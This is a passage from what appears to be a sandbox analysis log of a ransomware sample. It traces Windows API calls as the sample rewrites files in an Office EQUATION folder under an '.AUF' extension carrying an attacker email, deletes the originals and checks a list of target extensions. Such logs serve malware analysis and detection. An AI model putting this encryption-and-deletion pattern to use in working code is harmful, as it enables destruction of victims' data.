lpNewFilePointer=0x0) returned 1 [0216.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.444] GetLastError () returned 0x0 [0216.444] ReadFile (in: hFile=0x208, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0216.464] WriteFile (in: hFile=0x218, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0216.748] ReadFile (in: hFile=0x208, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.749] WriteFile (in: hFile=0x218, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.749] SetEndOfFile (hFile=0x218) returned 1 [0216.749] CloseHandle (hObject=0x218) returned 1 [0216.749] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.749] SetEndOfFile (hFile=0x208) returned 1 [0216.753] CloseHandle (hObject=0x208) returned 1 [0216.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0216.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.753] lstrlenW (lpString=".doc") returned 4 [0216.753] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.753] lstrlenW (lpString=".docx") returned 5 [0216.753] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0216.753] lstrlenW (lpString=".pdf") returned 4 [0216.753] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.753] lstrlenW (lpString=".xls") returned 4 [0216.753] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.753] lstrlenW (lpString=".xlsx") returned 5 [0216.753] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0216.753] lstrlenW (lpString=".ppt") returned 4 [0216.753] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.753] lstrlenW (lpString=".zip") returned 4 [0216.753] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.753] lstrlenW (lpString=".rar") returned 4 [0216.753] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString=".bz2") returned 4 [0216.754] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString=".7z") returned 3 [0216.754] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".dbf") returned 4 [0216.754] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".1cd") returned 4 [0216.754] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".jpg") returned 4 [0216.754] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".doc") returned 4 [0216.754] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString=".docx") returned 5 [0216.754] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0216.754] lstrlenW (lpString=".pdf") returned 4 [0216.754] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString=".xls") returned 4 [0216.754] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString=".xlsx") returned 5 [0216.754] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0216.754] lstrlenW (lpString=".ppt") returned 4 [0216.754] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".zip") returned 4 [0216.754] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString=".rar") returned 4 [0216.754] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.754] lstrlenW (lpString=".bz2") returned 4 [0216.754] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString=".7z") returned 3 [0216.754] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".dbf") returned 4 [0216.754] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".1cd") returned 4 [0216.754] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0216.754] lstrlenW (lpString=".jpg") returned 4 [0216.754] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.754] lstrcmpiW (lpString1=".manifest", lpString2=".AUF") returned 1 [0216.755] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0216.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.060] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=566) returned 1 [0217.060] CloseHandle (hObject=0x20c) returned 1 [0217.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0217.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.061] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.061] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.061] GetLastError () returned 0x0 [0217.061] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x236, lpOverlapped=0x0) returned 1 [0217.062] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x240, lpOverlapped=0x0) returned 1 [0217.063] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.063] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0217.063] SetEndOfFile (hFile=0x1f8) returned 1 [0217.063] CloseHandle (hObject=0x1f8) returned 1 [0217.064] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.064] SetEndOfFile (hFile=0x20c) returned 1 [0217.065] CloseHandle (hObject=0x20c) returned 1 [0217.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0217.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.065] lstrlenW (lpString=".doc") returned 4 [0217.065] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0217.065] lstrlenW (lpString=".docx") returned 5 [0217.065] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0217.065] lstrlenW (lpString=".pdf") returned 4 [0217.065] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0217.065] lstrlenW (lpString=".xls") returned 4 [0217.065] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0217.065] lstrlenW (lpString=".xlsx") returned 5 [0217.065] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0217.065] lstrlenW (lpString=".ppt") returned 4 [0217.065] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0217.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.065] lstrlenW (lpString=".zip") returned 4 [0217.066] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".rar") returned 4 [0217.066] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".bz2") returned 4 [0217.066] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".7z") returned 3 [0217.066] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString=".dbf") returned 4 [0217.066] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString=".1cd") returned 4 [0217.066] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString=".jpg") returned 4 [0217.066] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString=".doc") returned 4 [0217.066] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".docx") returned 5 [0217.066] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0217.066] lstrlenW (lpString=".pdf") returned 4 [0217.066] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".xls") returned 4 [0217.066] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".xlsx") returned 5 [0217.066] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0217.066] lstrlenW (lpString=".ppt") returned 4 [0217.066] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.066] lstrlenW (lpString=".zip") returned 4 [0217.066] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".rar") returned 4 [0217.066] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0217.066] lstrlenW (lpString=".bz2") returned 4 [0217.067] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0217.067] lstrlenW (lpString=".7z") returned 3 [0217.067] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0217.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.067] lstrlenW (lpString=".dbf") returned 4 [0217.067] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0217.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.067] lstrlenW (lpString=".1cd") returned 4 [0217.067] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0217.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0217.067] lstrlenW (lpString=".jpg") returned 4 [0217.067] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0217.067] lstrcmpiW (lpString1=".HLP", lpString2=".AUF") returned 1 [0217.067] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0217.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.068] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=176311) returned 1 [0217.068] CloseHandle (hObject=0x20c) returned 1 [0217.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0217.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.068] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.068] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.069] GetLastError () returned 0x0 [0217.069] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0217.091] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0217.093] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.094] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.094] SetEndOfFile (hFile=0x1f8) returned 1 [0217.094] CloseHandle (hObject=0x1f8) returned 1 [0217.094] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.094] SetEndOfFile (hFile=0x20c) returned 1 [0217.095] CloseHandle (hObject=0x20c) returned 1 [0217.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.095] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".doc") returned 4 [0217.096] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0217.096] lstrlenW (lpString=".docx") returned 5 [0217.096] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0217.096] lstrlenW (lpString=".pdf") returned 4 [0217.096] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".xls") returned 4 [0217.096] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".xlsx") returned 5 [0217.096] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0217.096] lstrlenW (lpString=".ppt") returned 4 [0217.096] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".zip") returned 4 [0217.096] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".rar") returned 4 [0217.096] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".bz2") returned 4 [0217.096] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0217.096] lstrlenW (lpString=".7z") returned 3 [0217.096] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".dbf") returned 4 [0217.096] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".1cd") returned 4 [0217.096] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".jpg") returned 4 [0217.096] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.096] lstrlenW (lpString=".doc") returned 4 [0217.096] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0217.096] lstrlenW (lpString=".docx") returned 5 [0217.096] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0217.096] lstrlenW (lpString=".pdf") returned 4 [0217.096] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".xls") returned 4 [0217.096] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0217.096] lstrlenW (lpString=".xlsx") returned 5 [0217.096] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0217.097] lstrlenW (lpString=".ppt") returned 4 [0217.097] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0217.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.097] lstrlenW (lpString=".zip") returned 4 [0217.097] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0217.097] lstrlenW (lpString=".rar") returned 4 [0217.097] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0217.097] lstrlenW (lpString=".bz2") returned 4 [0217.097] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0217.097] lstrlenW (lpString=".7z") returned 3 [0217.097] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0217.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.097] lstrlenW (lpString=".dbf") returned 4 [0217.097] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0217.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.097] lstrlenW (lpString=".1cd") returned 4 [0217.097] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0217.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0217.097] lstrlenW (lpString=".jpg") returned 4 [0217.097] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0217.097] lstrcmpiW (lpString1=".TTF", lpString2=".AUF") returned 1 [0217.097] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0217.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.097] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=7656) returned 1 [0217.097] CloseHandle (hObject=0x20c) returned 1 [0217.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0217.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.098] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.098] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.098] GetLastError () returned 0x0 [0217.098] ReadFile (in: hFile=0x20c, 